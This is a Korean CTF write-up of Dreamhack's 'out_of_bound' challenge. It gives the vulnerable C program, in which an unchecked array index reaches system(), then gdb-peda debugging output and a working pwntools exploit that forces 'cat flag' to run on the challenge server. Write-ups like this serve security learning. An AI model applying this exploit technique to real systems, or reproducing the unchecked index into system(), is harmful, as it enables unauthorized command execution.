#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
index idx에 대한 경계값 검사 없이 바로 해당 주소에 접근하고 있기 때문에 out of bound 오류가 발생합니다.
read에서 name에 입력을 받고 있고 scanf에서 idx에 입력을 받고 있어서
name에 원하는 값을 입력하고 idx 값을 조정해 command[idx]를 name으로 바꾸는 식으로 문제를 풀면 될 거 같습니다.
먼저 name과 command 사이의 거리를 알아보면
gdb-peda$ r
Starting program: /home/kali/wargame/dreamhack/out_of_bound/out_of_bound
Admin name: AAAA
What do you want?: a
gdb-peda$ find "AAAA"
Searching for 'AAAA' in: None ranges
Found 1 results, display max 1 items:
out_of_bound : 0x804a0ac ("AAAA\n")
gdb-peda$ i var command
All variables matching regular expression "command":
Non-debugging symbols:
0x0804a060 command
gdb-peda$ print 0x804a0ac-0x804a060
$1 = 0x4c
0x4c = 76 만큼 차이 납니다.
배열의 해당 인덱스에 접근하는 코드를 봐보면
mov eax,DWORD PTR [eax*4+0x804a060]
계산식을 보면 eax(idx) * 4 가 76이 돼야 하니까, idx는 19입니다.
이제 name에 cat flag를 넣고 idx에 19를 넣어서 프로그램을 실행시켜보면
gdb-peda$ r
Starting program: /home/kali/wargame/dreamhack/out_of_bound/out_of_bound
Admin name: cat flag
What do you want?: 19
[Attaching after process 12098 vfork to child process 12123]
[New inferior 2 (process 12123)]
[Detaching vfork parent process 12098 after child exit]
[Inferior 1 (process 12098) detached]
[Inferior 2 (process 12123) exited with code 0177]
프로그램이 그냥 종료됩니다.
디버거로 레지스터랑 스택 상황을 봐보면
gdb-peda$ b * main+69
Breakpoint 1 at 0x8048710
gdb-peda$ b * main+105
Breakpoint 2 at 0x8048734
gdb-peda$ b * main+119
Breakpoint 3 at 0x8048742
gdb-peda$ r
Starting program: /home/kali/wargame/dreamhack/out_of_bound/out_of_bound
Admin name: cat flag
[----------------------------------registers-----------------------------------]
EAX: 0x9 ('\t')
EBX: 0x0
ECX: 0x804a0ac ("cat flag\n")
EDX: 0x10
ESI: 0x1
EDI: 0x8048560 (<_start>: xor ebp,ebp)
EBP: 0xffffd098 --> 0x0
ESP: 0xffffd080 --> 0x1
EIP: 0x8048710 (<main+69>: sub esp,0xc)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048706 <main+59>: push 0x0
0x8048708 <main+61>: call 0x80484a0 <read@plt>
0x804870d <main+66>: add esp,0x10
=> 0x8048710 <main+69>: sub esp,0xc
0x8048713 <main+72>: push 0x804881e
0x8048718 <main+77>: call 0x80484b0 <printf@plt>
0x804871d <main+82>: add esp,0x10
0x8048720 <main+85>: sub esp,0x8
처음에 name에 cat flag를 입력했을 때는 레지스터에 cat flag가 잘 들어가 있습니다.
다음으로 19를 입력해보면
db-peda$ c
Continuing.
Program received signal SIGALRM, Alarm clock.
What do you want?: 19
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x0
ECX: 0xffffcc12 --> 0x37f0f700
EDX: 0xffffd088 --> 0x13
ESI: 0x1
EDI: 0x8048560 (<_start>: xor ebp,ebp)
EBP: 0xffffd098 --> 0x0
ESP: 0xffffd080 --> 0x1
EIP: 0x8048734 (<main+105>: mov eax,DWORD PTR [ebp-0x10])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
레지스터에 0x13 (19)가 잘 들어가 있습니다.
이제 system 함수를 호출할 때 인자를 봐보면
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x20746163 ('cat ')
EBX: 0x0
ECX: 0xffffcc12 --> 0x37f0f700
EDX: 0xffffd088 --> 0x13
ESI: 0x1
EDI: 0x8048560 (<_start>: xor ebp,ebp)
EBP: 0xffffd098 --> 0x0
ESP: 0xffffd070 ("cat \210\320\377\377\020")
EIP: 0x8048742 (<main+119>: call 0x8048500 <system@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048737 <main+108>: mov eax,DWORD PTR [eax*4+0x804a060]
0x804873e <main+115>: sub esp,0xc
0x8048741 <main+118>: push eax
=> 0x8048742 <main+119>: call 0x8048500 <system@plt>
0x8048747 <main+124>: add esp,0x10
0x804874a <main+127>: mov eax,0x0
0x804874f <main+132>: mov edx,DWORD PTR [ebp-0xc]
0x8048752 <main+135>: xor edx,DWORD PTR gs:0x14
Guessed arguments:
arg[0]: 0x20746163 ('cat ')
flag는 어디 가고 cat 만 남아 있습니다.
음 왜 그런지 모르겠어서 다른 분들 풀이를 보니까
system 함수가 공유 라이브러리 함수라 인자로 들어오는 변수 주소 4바이트 + 변수 값이 메모리로 들어간다고 하네요.
그래서 name+4의 주소와 "cat flag"를 입력으로 줘야 한다고 합니다.
위에 내용을 대로 익스플로잇 코드를 짜 보면
from pwn import *
p = remote("host3.dreamhack.games", 22629)
payload = p32(0x804a0ac+4) + b"cat flag"
p.sendlineafter("name: ", payload)
p.sendlineafter("want?: ", b"19")
flag = p.recv(100)
print(flag.decode('utf-8'))
익스플로잇 코드를 실행시켜보면
kali@kali ~/wargame/dreamhack/out_of_bound python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 22629: Done
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
DH{2524e20ddeee45f11c8eb91804d57296}
[*] Closed connection to host3.dreamhack.games port 22629
flag 파일이 출력되었습니다.